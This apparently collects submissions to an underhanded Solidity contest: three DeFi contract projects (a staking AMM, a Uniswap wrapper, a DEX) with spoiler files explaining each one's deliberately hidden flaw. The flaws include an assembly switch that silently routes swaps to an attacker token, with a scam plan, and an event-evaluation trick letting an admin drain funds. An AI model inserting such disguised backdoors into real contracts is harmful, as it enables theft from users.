    "content": "# The Context\n\nA third party staking protocol is greatly rewarding whales that stake a lot of their ETH onto one of their contracts, while rewarding poorly the smaller investors. The more percentage of ETH you have there compared to the rest of the stakers, the more percentage of rewards you get from the whole pool.\n\nThe very cool new kids on the block know that Quadratic funding is the hype nowadays, and they've seen an opportunity there. They have created an AMM with regular staking pools plus an aggregated ETH staking pool. They have called it the Very Cool AMM. The ETH staking pool will add ETH to the third party pool from a single contract in the protocol, thus increasing the percentage of ETH staked for that single account and thus becoming a whale! The received rewards will be divided percentually to the staker of the Very Cool protocol. Huge rewards are expected from the aggregated ETH staking pool!\n\nFor now there is only one aggregated ETH staking pool in the protocol, controlled by the team. The users can add their own regular staking pools to the system or use the pre-existing ones, the team doesn't care. As far as the big juicy aggregated ETH pool gets bigger and bigger!\n\nYou get a look at the contracts: they seem simple and they seem to follow good practices. But...what is that? Is that what you think? The Big Juicy ETH Pool just got even juicier!\n\n# How it works\n\nThe entry point of the system is the `VeryCoolperiphery` contract. The pools are owned by the periphery contract and users of the protocol must always go through the periphery contract to interact with the pools. The protocol has a default ETH pool, created inside the periphery contract, and users can add token pools through the periphery.\n\nUsers can prepare several deposit orders in the frontend for either the ETH pool or one of the tokens pools. The frontend will call `getEncodedData()` on the appropriate pool contract to get the encoded data for each deposit. It will then call the periphery contract `deposit()` to execute the list of deposits. The user can withdraw from the token pools at any time by calling the periphery `withdraw()` function. Users can only withdraw from the ETH pool by calling the `withdraw()` function after the required amount of time (short stake or long stake). The third party protocol takes into account the staking time to give even more rewards for long staking.\n\n# License\n\nMIT\n"
  },
  {
    "path": "2022/submissions_2022/submission7_RobertoCano/VeryCoolPeriphery.sol",
    "content": "//SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\n\nimport \"./VeryCoolPoolTokens.sol\";\nimport \"./VeryCoolPoolETH.sol\";\n\n/**\n    Main contract of the protocol. Helps deposit and withdraw from the pools\n\n    It allows for multi-deposit in one single transaction for gas saving\n */\ncontract VeryCoolPeryphery is Ownable {\n    using Address for address;\n\n    uint256 public constant SHORT_STAKING_TIME = 10 days;\n    uint256 public constant LONG_STAKING_TIME = 40 days;\n\n    mapping(address => bool) public isETHPool;\n    mapping(address => bool) public isTokenPool;\n\n    address public defaultETHStaker;\n    address public defaultTokenStaker;\n    VeryCoolPoolETH public defaultETHPool;\n\n    constructor(address ethStaker, address tokenStaker) {\n        defaultETHStaker = ethStaker;\n        defaultTokenStaker = tokenStaker;\n\n        defaultETHPool = new VeryCoolPoolETH();\n\n        isETHPool[address(defaultETHPool)] = true;\n    }\n\n    function addETHPool(address pool) external onlyOwner {\n        isETHPool[pool] = true;\n    }\n\n    function addTokenPool(address pool) external {\n        // Ownership of the pool must be transferred to this contract\n        isTokenPool[pool] = true;\n    }\n\n    /**\n        Allows to deposit on several pools on one single transaction\n     */\n    function deposit(\n        address[] calldata pools,\n        bytes[] calldata params,\n        uint256[] calldata sendValues\n    ) external payable {\n        require(pools.length == params.length, \"Number of pools and parameters must match\");\n        require(pools.length == sendValues.length, \"Number of pools and send values must match\");\n\n        for (uint256 i = 0; i < pools.length; ++i) {\n            bytes memory depositCall = _getCallData(pools[i], params[i]);\n            pools[i].functionCallWithValue(depositCall, sendValues[i], \"ERROR depositing funds\");\n        }\n    }\n\n    function _getSelector(address pool) internal view returns (bytes4) {\n        if (isETHPool[pool]) {\n            return VeryCoolPoolETH.deposit.selector;\n        } else if (isTokenPool[pool]) {\n            return VeryCoolPoolTokens.deposit.selector;\n        } else {\n            revert(\"Unknown pool\");\n        }\n    }\n\n    function _getCallData(address pool, bytes calldata params) internal view returns (bytes memory) {\n        bytes4 selector = _getSelector(pool);\n\n        if (isTokenPool[pool]) {\n            (uint128 amountA, uint128 amountB) = abi.decode(params, (uint128, uint128));\n            return abi.encodeWithSelector(selector, _msgSender(), amountA, amountB, defaultTokenStaker);\n        } else if (isETHPool[pool]) {\n            bool longStake = abi.decode(params, (bool));\n\n            uint256 endTimestamp = longStake\n                ? (block.timestamp + LONG_STAKING_TIME)\n                : (block.timestamp + SHORT_STAKING_TIME);\n\n            return abi.encodeWithSelector(selector, _msgSender(), endTimestamp, defaultETHStaker);\n        } else {\n            revert(\"Unknown pool\");\n        }\n    }\n\n    function withdraw(address pool) external {\n        if (isETHPool[pool]) {\n            IVeryCoolPoolETH(pool).withdraw(payable(_msgSender()), defaultETHStaker);\n        } else if (isTokenPool[pool]) {\n            IVeryCoolPoolTokens(pool).withdraw(_msgSender(), defaultTokenStaker);\n        } else {\n            revert(\"Unknown pool\");\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission7_RobertoCano/VeryCoolPoolETH.sol",
    "content": "//SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\n\ninterface ThirdPartyETHPool {\n    function stake() external payable;\n\n    function withdraw(uint256 amount) external;\n}\n\ninterface IVeryCoolPoolETH {\n    function withdraw(address payable from, address staker) external;\n}\n\ncontract VeryCoolPoolETH is Ownable {\n    using Address for address payable;\n\n    mapping(address => uint256) public balanceOf;\n    mapping(address => uint256) public withdrawalEndTs;\n\n    function getEncodedData(bool longStake) external pure returns (bytes memory) {\n        return abi.encode(longStake);\n    }\n\n    function deposit(\n        address from,\n        uint256 endTimestamp,\n        address staker\n    ) external payable onlyOwner {\n        require(endTimestamp >= block.timestamp, \"End timestamp is in the past\");\n        require(endTimestamp >= withdrawalEndTs[from], \"End timestamp is before previous withdrawal\");\n        require(msg.value > 0, \"No ETH sent for deposit\");\n\n        balanceOf[from] += msg.value;\n        withdrawalEndTs[from] = endTimestamp;\n\n        ThirdPartyETHPool(staker).stake{ value: msg.value }();\n    }\n\n    function withdraw(address payable from, address staker) external onlyOwner {\n        uint256 amount = balanceOf[from];\n\n        require(amount > 0, \"No ETH to withdraw\");\n        require(withdrawalEndTs[from] <= block.timestamp, \"Cannot withdraw before end of staking period\");\n\n        // Original stake + rewards is returned from the third-party\n        ThirdPartyETHPool(staker).withdraw(amount);\n        from.sendValue(amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission7_RobertoCano/VeryCoolPoolTokens.sol",
    "content": "//SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\ninterface TokenStaker {\n    function stake(address token, uint256 amount) external;\n\n    function withdraw(address token, uint256 amount) external;\n}\n\ninterface IVeryCoolPoolTokens {\n    function withdraw(address from, address staker) external;\n}\n\n// Standard Liquidity Pool ala Uniswap plus Staking on Third Party. Only important logic\n// is shown:\n//   - Users staking and getting LP tokens will receive fees back\n//   - Third party also generates rewards on LP tokens\n//\ncontract VeryCoolPoolTokens is ERC20Burnable, Ownable {\n    using SafeERC20 for IERC20;\n\n    IERC20 public tokenA;\n    IERC20 public tokenB;\n\n    mapping(address => uint256) public balanceOfA;\n    mapping(address => uint256) public balanceOfB;\n\n    constructor(address _tokenA, address _tokenB) ERC20(\"VeryCoolLP\", \"VCLP\") {\n        tokenA = IERC20(_tokenA);\n        tokenB = IERC20(_tokenB);\n    }\n\n    function getEncodedData(uint128 amountA, uint128 amountB) external pure returns (bytes memory) {\n        return abi.encode(amountA, amountB);\n    }\n\n    function deposit(\n        address from,\n        uint128 amountA,\n        uint128 amountB,\n        address staker\n    ) external onlyOwner {\n        balanceOfA[from] += amountA;\n        balanceOfB[from] += amountB;\n\n        // Very simple LP generation!\n        uint256 lpAmount = amountA + amountB;\n        _mint(address(this), amountA + amountB);\n        _approve(address(this), staker, lpAmount);\n\n        tokenA.safeTransferFrom(from, address(this), amountA);\n        tokenB.safeTransferFrom(from, address(this), amountB);\n\n        TokenStaker(staker).stake(address(this), lpAmount);\n    }\n\n    function withdraw(address from, address staker) external onlyOwner {\n        uint256 amount = balanceOf(from);\n        TokenStaker(staker).withdraw(address(this), amount);\n\n        _burn(from, amount);\n\n        uint256 amountA = balanceOfA[from];\n        uint256 amountB = balanceOfB[from];\n\n        tokenA.safeTransfer(from, amountA);\n        tokenB.safeTransfer(from, amountB);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission8_MartínAbbatemarco/README.md",
    "content": "# Wrappers\n\nDo you know what DeFi needs ? I'll tell you what DeFi needs.\n\nDeFi needs _in cen tives_. We're not changing the world yet, we're not onboarding the millions of users we want.\n\nAnd you know what ? Top DEXes such as Uniswap are not doing anything to help onboard the masses.\n\nBut we are. Hell we are.\n\nPlain and simple: we're paying ETH to folks using our wrapper built on top of Uniswap V2 pools. No memecoin, no pump-and-dump schemes. You swap using the wrapper, we reward you with good old ETH. This is our contribution to bring the next generation of users into DeFi.\n\nFollowing our auditors recommendations, the wrapper supports blue-chip stablecoins: DAI, USDC and USDT. Simply select which one you want. You can also provide the usual parameters you'd see in Uniswap V2.\n\nIf you don't like these coins, but still want to try this contract, you can use it to buy our recently launched stablecoin STL. But since our coin is still experimental, we're only paying rewards for swaps in DAI, USDC and USDT - coins that everybody knows and trust.\n\nThe contract is dead simple, and all you need to do is call the `swapExactETHForTokens` function choosing the stablecoin and whatever parameters you want to pass to Uniswap.\n\nOh, and one last thing. Our wrapper is _fully permissionless_. We don't have any powers over the contract. Once we deploy it, it'll be live _forever_. Of course we will be continuosuly providing ETH to the contract so that rewards are always paid - but _anybody_ in the community can do it if we can't. And if for any reason there's no rewards available, don't worry, you can still use it.\n\nHappy swapping!\n"
  },
  {
    "path": "2022/submissions_2022/submission8_MartínAbbatemarco/SPOILER.md",
    "content": "# Beware, spoilers below!\n\nThe `UniswapWrapper` contract is fundamentally broken. At least for its legitimate users.\n\nIf you ever try to swap any legitimate stablecoin on it, you will notice that you _never_ receive DAI, USDC or USDT for the ETH that you send. Instead, you'll always trade ETH for the scammy STL token.\n\nThe whole attack vector would develop as follows:\n\n1. The attacker deploys a simple ERC20 token (I called it STL but a real scenario woul be something less suspicious of course).\n2. The attacker creates a Uniswap pair with ETH-STL, providing some amount of initial liquidity.\n3. The attacker deploys the wrapper, promotes it, and waits.\n4. As soon as well-intended users use the wrapper, they will give away ETH and receive STL (regardless of whatever legitimate stablecoin they chose in the function call).\n5. The attacker backruns the user's transaction, and executes the opposite swap in the Uniswap pool, getting the user's ETH.\n\nThis is _one_ possible attack vector. This wrapper essentially allows an attacker to trick users into swapping ETH for any token. There are might be other evil scenarios for an attacker to explore, not necessarily involving a custom fully attacker-controlled token.\n\nIn any case, let's see below why does this even work in the first place.\n\n## Technical details\n\nThe user \"chooses\" the token they want to receive by passing a `bytes4` parameter called `tokenSelector` to the `swapExactETHForTokens` function.\n\nThe function appears to then match this parameter against three cases: `0x6B175474`, `0xdAC17F95` and `0xA0b86991` (respectively the first 4 bytes of DAI, USDT and USDC addresses on mainnet). If there's no match, it goes to the default case.\n\n~~~\nfunction swapExactETHForTokens(\n    bytes4 tokenSelector,\n        \n    ...\n\n    assembly {\n        switch tokenSelector\n            case 0x6B175474 {\n                tokenOut := DAI\n                reward := REWARD\n            }\n            case 0xdAC17F95 {\n                tokenOut := USDT\n                reward := REWARD\n            }\n            case 0xA0b86991 {\n                tokenOut := USDC\n                reward := REWARD\n            }\n            default { // STL\n                tokenOut := stlAddress\n            }\n    }\n    \n    ...\n}\n~~~\n\nLet's use the DAI's case. At first sight, one could think that if `tokenSelector` is set to `0x6B175474` in the call, then it'd match the first case. As a consequence, the `tokenOut` variable would be set to the address stored at `DAI`, the reward would be assigned, and the trade would therefore be made against the ETH-DAI pair in Uniswap. However, this is not what the EVM actually executes.\n\nThe root cause of the problem is in what is actually being compared by the EVM in the `switch`, when `tokenSelector` and the literal `0x6B175474` are put to the test. If we analyze the opcodes executed and the stack contents and that point, we'll see the following:\n\n![](img/debugger.png)\n\n_Compiled with solc 0.8.9+commit.e5eed63a without optimizations._\n\nIn short, the comparison between the contents of `tokenSelector` and the literal `0x6B175474` is performed with the `EQ` opcode, which reads the first two stack elements. As seen in the image above, these are: `0x6b17547400000000000000000000000000000000000000000000000000000000` and `0x000000000000000000000000000000000000000000000000000000006b175474`.\n\nThe problem is now obvious! The padding between what comes in calldata (at the top of the stack) and the literal is opposite, and therefore these elements cannot ever be considered equal by the EVM. The same occurs for the comparisons in the remaining two cases of the `switch`.\n\nTherefore, regardless of what user's choice in the `tokenSelector` parameter is (either `0x6B175474`, `0xdAC17F95` or `0xA0b86991`), execution is going to end up in the `default` scenario, where the scammy token address is set and no rewards are assigned.\n\n## Discussion and comments on implementation\n\nThese days DeFi seems to be a lot about building _on top_ of existing trusted protocols, such as Uniswap. So instead of building a flawed DEX from scratch, I decided to something a bit different. I built a flawed wrapper for swaps on top of a known and legitimate DEX.\n\nWrappers for token swaps that are too complex may be suspicious, so I wanted to have a minimal implementation that raised as little alarms as possible. That's why the contract has a single entrypoint which takes quite similar parameters to those as Uniswap (the notable difference being the selector needed to choose the stablecoin to swap).\n\nThe use of assembly could be seen as a suspicious thing. Advanced users may bring its attention to further inspect it. However, even looking at it closely, there isn't any scary low-level operations being performed. Most importantly, its usage can be justified given the lack of a higher-level `switch` statement in Solidity.\n\nAnother red flag could be the use of a hex literal in the `switch`. Which could further scare casual readers. Nonetheless, by using the first part of an address it's possible to make it look as familiar as possible. That's why instead of choosing from numbered options or something similar, the user chooses using the first bytes of the stablecoin's address. These are the usual bytes of an address lots of people are used to look at when executing trades. Also, making the user specify (part of) the address of the token they want to receive may reinforce the idea that they're really choosing and in full control of the trade.\n\nNotably, the scenario would also work if the `tokenSelector` was a `bytes20` type, and the literal hex in the `switch` cases represented the full addresses of the tokens. As an advantage, one could argue that the literals would look _exactly_ the same as the addresses, which could further increase chances of deceiving users. However, I decided to go with a `bytes4` selector for a couple of reasons that I think outweigh this advantage. First, the use of `bytes20`, instead of simply `address`, would be difficult to support. It's really uncommon to find `bytes20` in usual Solidity code. Second, more advanced users are used to seeing and using 4-byte selectors (due to 4-byte function selectors). So the idea of selecting something using 4 bytes is not strange for many. Finally, the scammers could further support the use of `bytes4` instead of something bigger just for gas efficiency reasons.\n\nAs a final remark, it's probably worth highlighting that any rewards that are deposited in the contract are forever lost. Still, the attacker could deposit some ETH to make it look like there's at least a pot of ETH freely available to reward users.\n"
  },
  {
    "path": "2022/submissions_2022/submission8_MartínAbbatemarco/UniswapWrapper.sol",
    "content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';\n\n/// @title UniswapWrapper\n/// @notice A wrapper contract that allows trading tokens on Uniswap V2, incentivizing users to trade on blue-chip stablecoins by paying rewards in ETH.\ncontract UniswapWrapper {\n    \n    // Tokens supported by the wrapper\n    address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;\n    address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n    address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n    address public immutable STL;\n\n    // Address of Uniswap V2's router\n    address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n    // Rewards for using the wrapper to buy USDC, USDT or DAI\n    uint256 public constant REWARD = 0.87 ether;\n\n    constructor(address _stableTokenAddress) {\n        STL = _stableTokenAddress;\n    }\n\n    /// @notice Wrapper over Uniswap V2 pools to swap ETH for a stablecoin.\n    ///         Caller can choose the output token using the `tokenSelector` parameter indicating\n    ///         the first 4 bytes of the address of the desired token.\n    function swapExactETHForTokens(\n        bytes4 tokenSelector,\n        uint256 amountOutMin,\n        address to,\n        uint256 deadline\n    ) external payable {\n        // Copy to local variable to later be able to access in assembly\n        // Because we cannot access an immutable from assembly.\n        address stlAddress = STL;\n\n        address tokenOut;\n        uint256 reward;\n\n        // Choose trading pair and assign reward according to user input.\n        // Solidity doesn't support a higher-level `switch`, so we have to\n        // use assembly to select the token.\n        assembly {\n            switch tokenSelector\n                case 0x6B175474 { // First 4 bytes of DAI's address\n                    tokenOut := DAI\n                    reward := REWARD\n                }\n                case 0xdAC17F95 { // First 4 bytes of USDT's address\n                    tokenOut := USDT\n                    reward := REWARD\n                }\n                case 0xA0b86991 { // First 4 bytes of USDC's address\n                    tokenOut := USDC\n                    reward := REWARD\n                }\n                default { // Default to STL, without rewards\n                    tokenOut := stlAddress\n                }\n        }\n\n        // Build the right path for the swap\n        address[] memory path = new address[](2);\n        path[0] = IUniswapV2Router02(router).WETH();\n        path[1] = tokenOut;\n        \n        // Execute swap using Uniswap V2 Router.\n        // See https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/trading-from-a-smart-contract\n        IUniswapV2Router02(router).swapExactETHForTokens{value: msg.value}(\n            amountOutMin,\n            path,\n            to,\n            deadline\n        );\n\n        // Pay caller its well-deserved reward\n        if(reward > 0 && address(this).balance >= reward) {\n            payable(msg.sender).transfer(reward);\n        }        \n    }\n\n    // Allow funding the contract with ETH to pay rewards\n    receive() external payable {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission9_TynanRichards/README.md",
    "content": "# Dexploit\n\nEssentially a uniswap-style DEX implementation. Trades are calculated with a constant product formula.\n\n## Trading\n\nAssume the exchange currently has a balance of `x` tokenA and `y` tokenB. If a user trades `dx` amount of tokenA to tokenB, they will receive an amount `dy` so that the product of the balances remains the same. `x*y = (x+dx)*(y-dy)`. Of course, the exchange wants to make a profit, so we charge a fee on the outgoing amount. So the user only receives 99% of dy, the rest remains in the contract.\n\n## Liquidity\n\nThe current value of the pool is estimated as the geometric mean of the underlying balances. `sqrt(x*y)`\n\nIf users want to deposit their tokens into the contract to share in the exchange's profits, they can add them to the liquidity pool using `addLiquidity`. They will receive a `balance` proportional to the increase in liquidity due to their deposit.\n\nLater, they can withdraw their deposited tokens again. They can withdraw an amount of tokens proportional to the amount of liquidity they own, hence if the underlying balances increase in proportion to the liquidity (via the contract collecting fees), the user can withdraw more funds than they initially deposited.\n\n## Admin fees\n\nA portion of the fees that go to the liquidity pool are apportioned to the admin / owner of the contract. When they claim their fees, they receive a percentage of the increase in liquidity since the last time they claimed fees. So, if the admin fee is 1%, and the liquidity has increased by 20% since the last claim, the admin will receive funds equivalent to 0.2% of the liquidity.\n\nAdditionally, the admin can change the admin fee. When they do this, they will be locked out of claiming fees for a week, so that liquidity providers have a chance to withdraw their funds before the (higher) admin fee can be claimed.\n\n## Explanation of math functions\n\nIn order to estimate the value of the liquidity pool, the geometric mean of two numbers needs to be calculated. Hence, we need to be able to take the square root of a number. We do this via Newton's method, where we iteratively improve our guess.\n\nNewton's method allows us to find zeroes of a function. Therefore, we need a function which is 0 when its input is the square root of our number. We will use `f(x) = x^2 - y`, where y is the number we want to take the square root of.\n\nWe start with an initial guess (which is explained later). Then, we iteratively improve our guess using the following formula:\n\n`x_n+1 = x_n - f(x_n) / f'(x_n)` (where f' is the derivative of x)\n\nWe can transform this formula into the following:\n\n`x_n+1 = (x_n * x_n + y) / (2 * x_n)`\n\nThe more often we improve our guess, the closer our final result will be to the actual square root of `y`. For our purposes, we chose to improve the guess over 5 iterations, as this gave an accuracy to 20+ decimal places, which is plenty.\n\nHow do we come up with our initial guess? Well, we can easily take the square root of a number by dividing its logarithm by 2. To get the logarithm (base 2) of a binary number, we can just count its digits. However, this will give us the *truncated* result, whereas we want the number closest to the actual value. Hence, we first multiply our number by the square root of 2, in order to increase the resulting logarithm by 0.5. Thus, when the result is truncated, we will receive the rounded logarithm of the initial number.\n\nIn summary, we approximate the log base 2 of `y` a number by calculating:\n\n`log = floor(log_2(y * sqrt(2)))`\n\nTo get our guess for the square root of `y`, we then calculate:\n\n`guess = 2^(log / 2)`"
  },
  {
    "path": "2022/submissions_2022/submission9_TynanRichards/SPOILERS.md",
    "content": "# Explanation of the exploit\n\nThe exploit in this contract stems from the unspecified evaluation of nested Solidity expressions. Essentially, the evaluation order of a statement such as:\n\n`x = f(g(...), h(...))`\n\ndoes not have a specified evaluation order. Hence, the compiler can choose whether to evaluate `g` or `h` first. In most cases, it chooses to evaluate left-to-right, which is likely what most developers expect. However, in two specific cases it differs from that expectation.\n\nFirstly, for `addmod` and `mulmod`, the arguments are evaluated right-to-left. The reason for this is likely to revert earlier if the last argument is 0. In the following example, the arguments are evaluated in the order: `h(...) -> g(...) -> f(...)`\n\n`addmod(f(...), g(...), h(...))`\n\nNext, the evaluation order of events is bizarre. The *indexed* parameters are evaluated first in right-to-left order, then the non-indexed parameters are evaluated left-to-right. In the following example, the arguments are evaluated in the order `f(c) -> f(a) -> f(b) -> f(d)`\n\n`Event Hello(uint256 indexed a, uint256 b, uint256 indexed c, uint256 d);`\n`emit Hello(f(a), f(b), f(c), f(d))`\n\nOf course, in almost all cases this will be irrelevant. The outcome only differs from the intuitive expectation if the parameters have conflicting side effects. As an example:\n\n`addmod(i, 4, i++)`\n\nHere, `i` is incremented in the last parameter before it is used in the first. Hence, the result will be `5` and not `4`.\n\n## The actual exploit\n\nThe exploit lies in the following code segment:\n\n```solidity\nevent AdminFeeChanged(uint256 indexed oldFee, uint256 indexed newFee);\nfunction changeAdminFees(uint256 newAdminFee) external onlyAdmin nonReentrant {\n    emit AdminFeeChanged(retireOldAdminFee(), setNewAdminFee(newAdminFee));\n}\nfunction retireOldAdminFee() internal returns (uint256) {\n    // Claim admin fee before changing it\n    _claimAdminFees();\n    // Let people withdraw their funds if they don't like the new fee\n    nextFeeClaimTimestamp = block.timestamp + 7 days;\n\n    return adminFee;\n}\nfunction setNewAdminFee(uint256 newAdminFee) internal returns (uint256) {\n    adminFee = newAdminFee;\n    return newAdminFee;\n}\n```\n\nBecause the event parameters are indexed, they are evaluated right-to-left. Hence, the new admin fee is set before the old one is retired. As a result, `_claimAdminFees` will use the new admin fee instead of the old one. This circumvents the one week waiting period after changing the admin fees, which is only enacted after the \"previous\" fees were claimed.\n\nAs there is no cap on the new fee, the admin can provide a value over 100% and drain the underlying balances (assuming the contract has accrued some liquidity)."
  },
  {
    "path": "2022/submissions_2022/submission9_TynanRichards/dexploit.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity =0.8.12;\n\ninterface ERC20 {\n    // We only need these functions, the rest don't matter\n    function balanceOf(address account) external view returns (uint256);\n    function transfer(address receiver, uint256 amount) external returns (bool);\n    function transferFrom(address sender, address receiver, uint256 amount) external returns (bool);\n}\n\ncontract Dexploit {\n    uint256 private constant ONE = 10**18;\n\n    address public admin;\n\n    uint256 public adminFee;\n    uint256 private accruedLiquiditySinceLastClaim;\n    uint256 public nextFeeClaimTimestamp;\n\n    modifier onlyAdmin() {\n        require(msg.sender == admin);\n        _;\n    }\n\n    uint256 constant private unlocked = 1;\n    uint256 constant private locked = 0;\n    uint256 private lock = unlocked;\n    // Slap this bad boy on all external functions because why not\n    modifier nonReentrant() {\n        require(lock == unlocked);\n        lock = locked;\n        _;\n        lock = unlocked;\n    }\n\n    constructor(address tokenA, address tokenB) {\n        admin = msg.sender;\n        adminFee = 0.01 * 10**18;\n        liquidityFee = 0.01 * 10**18;\n\n        underlyingA = ERC20(tokenA);\n        underlyingB = ERC20(tokenB);\n    }\n\n    event AdminFeeChanged(uint256 indexed oldFee, uint256 indexed newFee);\n    function changeAdminFees(uint256 newAdminFee) external onlyAdmin nonReentrant {\n        emit AdminFeeChanged(retireOldAdminFee(), setNewAdminFee(newAdminFee));\n    }\n    function retireOldAdminFee() internal returns (uint256) {\n        // Claim admin fee before changing it\n        _claimAdminFees();\n        // Let people withdraw their funds if they don't like the new fee\n        nextFeeClaimTimestamp = block.timestamp + 7 days;\n\n        return adminFee;\n    }\n    function setNewAdminFee(uint256 newAdminFee) internal returns (uint256) {\n        adminFee = newAdminFee;\n        return newAdminFee;\n    }\n\n    event AdminFeeClaimed(address indexed receiver, uint256 feeAmount);\n    function claimAdminFees() external onlyAdmin nonReentrant {\n        _claimAdminFees();\n    }\n    function _claimAdminFees() internal {\n        require(block.timestamp >= nextFeeClaimTimestamp, \"You must wait a week after changing fees to claim.\");\n        // Refund :D\n        nextFeeClaimTimestamp = 0;\n\n        uint256 amountAccrued = accruedLiquiditySinceLastClaim;\n        if (amountAccrued == 0) return;\n\n        uint256 _balanceA = balanceA;\n        uint256 _balanceB = balanceB;\n\n        // Can only claim in balanced proportions\n        uint256 feeAmount = (amountAccrued * adminFee) / ONE;\n        uint256 liquidity = geometricMean(_balanceA, _balanceB);\n        uint256 amountA = (feeAmount * _balanceA) / liquidity;\n        uint256 amountB = (feeAmount * _balanceB) / liquidity;\n\n        // Update balances\n        accruedLiquiditySinceLastClaim = 0;\n        balanceA = _balanceA - amountA;\n        balanceB = _balanceB - amountB;\n\n        // Transfer funds out\n        transferFundsOut(underlyingA, amountA);\n        transferFundsOut(underlyingB, amountB);\n\n        emit AdminFeeClaimed(admin, feeAmount);\n    }\n\n    // +----------------------------+\n    // | External Public Operations |\n    // +----------------------------+\n\n    ERC20 public immutable underlyingA;\n    ERC20 public immutable underlyingB;\n\n    uint256 public balanceA;\n    uint256 public balanceB;\n\n    uint256 public totalSupply;\n    uint256 public liquidityFee;\n\n    mapping(address => uint256) public balances;\n\n    function trade(uint256 amountIn, bool fromUnderlyingB) external nonReentrant returns (uint256) {\n        ERC20 underlyingFrom = underlyingA;\n        ERC20 underlyingTo = underlyingB;\n        uint256 balanceFrom = balanceA;\n        uint256 balanceTo = balanceB;\n\n        if (fromUnderlyingB) {\n            (underlyingFrom, underlyingTo) = (underlyingTo, underlyingFrom);\n            (balanceFrom, balanceTo) = (balanceTo, balanceFrom);\n        }\n\n        // Transfer amount in\n        uint256 receivedAmount = transferFundsIn(underlyingFrom, amountIn);\n        \n        // Constant product formula\n        // Invariants:\n        // balanceFrom * balanceTo = newToBalance * newFromBalance\n        // balanceFrom + receivedAmount = newFromBalance\n        uint256 product = balanceFrom * balanceTo;\n        uint256 newFromBalance = balanceFrom + receivedAmount;\n        uint256 newToBalance = product / newFromBalance;\n        uint256 amountOut = balanceTo - newToBalance;\n\n        // Charge fees\n        uint256 feeAmount = (amountOut * liquidityFee) / ONE;\n        newToBalance += feeAmount;\n        amountOut -= feeAmount;\n\n        // Remember liquidity increase for admin fees later\n        uint256 liquidityBefore = geometricMean(balanceFrom, balanceTo);\n        uint256 liquidityAfter = geometricMean(newFromBalance, newToBalance);\n        uint256 liquidityIncrease = liquidityAfter - liquidityBefore;\n        accruedLiquiditySinceLastClaim += liquidityIncrease;\n\n        // Update balances\n        if (fromUnderlyingB) {\n            (newFromBalance, newToBalance) = (newToBalance, newFromBalance);\n        }\n        balanceA = newFromBalance;\n        balanceB = newToBalance;\n\n        // transfer amount out\n        transferFundsOut(underlyingTo, amountOut);\n\n        return amountOut;\n    }\n\n    // Note: Currently, you can add liquidity underlyingA, then remove liquidity of underlyingB to avoid trading fees\n    function addLiquidity(uint256 amountA, uint256 amountB) external nonReentrant returns(uint256) {\n        uint256 _balanceA = balanceA;\n        uint256 _balanceB = balanceB;\n        uint256 _totalSupply = totalSupply;\n\n        // Transfer funds in\n        uint256 amountAIn = amountA == 0 ? 0 : transferFundsIn(underlyingA, amountA);\n        uint256 amountBIn = amountB == 0 ? 0 : transferFundsIn(underlyingB, amountB);\n\n        // Calculate change in liquidity and totalSupply\n        uint256 liquidityBefore = geometricMean(_balanceA, _balanceB);\n        uint256 liquidityAfter = geometricMean(_balanceA + amountAIn, _balanceB + amountBIn);\n\n        uint256 totalSupplyAfter;\n        if (_totalSupply == 0) {\n            totalSupplyAfter = liquidityAfter;\n        } else {\n            totalSupplyAfter = (_totalSupply * liquidityAfter) / liquidityBefore;\n        }\n        uint256 totalSupplyIncrease = totalSupplyAfter - _totalSupply;\n\n        // Update balances\n        balances[msg.sender] += totalSupplyIncrease;\n        totalSupply = totalSupplyAfter;\n        balanceA = _balanceA + amountAIn;\n        balanceB = _balanceB + amountBIn;\n\n        return totalSupplyIncrease;\n    }\n\n    // Note: Currently it's almost impossible to withdraw entire deposited funds\n    function removeLiquidity(uint256 amountA, uint256 amountB) external nonReentrant returns(uint256) {\n        uint256 _balanceA = balanceA;\n        uint256 _balanceB = balanceB;\n        uint256 _totalSupply = totalSupply;\n\n        // Calculate change in liquidity and totalSupply\n        uint256 liquidityBefore = geometricMean(_balanceA, _balanceB);\n        uint256 liquidityAfter = geometricMean(_balanceA - amountA, _balanceB - amountB);\n\n        uint256 totalSupplyAfter = (_totalSupply * liquidityAfter) / liquidityBefore;\n        uint256 totalSupplyDecrease = _totalSupply - totalSupplyAfter;\n\n        // Make sure sender has enough balance\n        uint256 senderBalance = balances[msg.sender];\n        require(senderBalance >= totalSupplyDecrease, \"Not enough balance\");\n\n        // Update balances\n        balances[msg.sender] = senderBalance - totalSupplyDecrease;\n        totalSupply = totalSupplyAfter;\n        balanceA = _balanceA - amountA;\n        balanceB = _balanceB - amountB;\n\n        // Transfer funds out\n        if (amountA > 0) {\n            transferFundsOut(underlyingA, amountA);\n        }\n        if (amountB > 0) {\n            transferFundsOut(underlyingB, amountB);\n        }\n        \n        return totalSupplyDecrease;\n    }\n\n    function getLiquidity() external view returns(uint256) {\n        return geometricMean(balanceA, balanceB);\n    }\n\n    function transferFundsIn(ERC20 underlying, uint256 amount) internal returns(uint256) {\n        uint256 balanceBefore = underlying.balanceOf(address(this));\n\n        require(underlying.transferFrom(msg.sender, address(this), amount), \"TransferFrom failed\");\n\n        uint256 balanceAfter = underlying.balanceOf(address(this));\n        uint256 receivedAmount = balanceAfter - 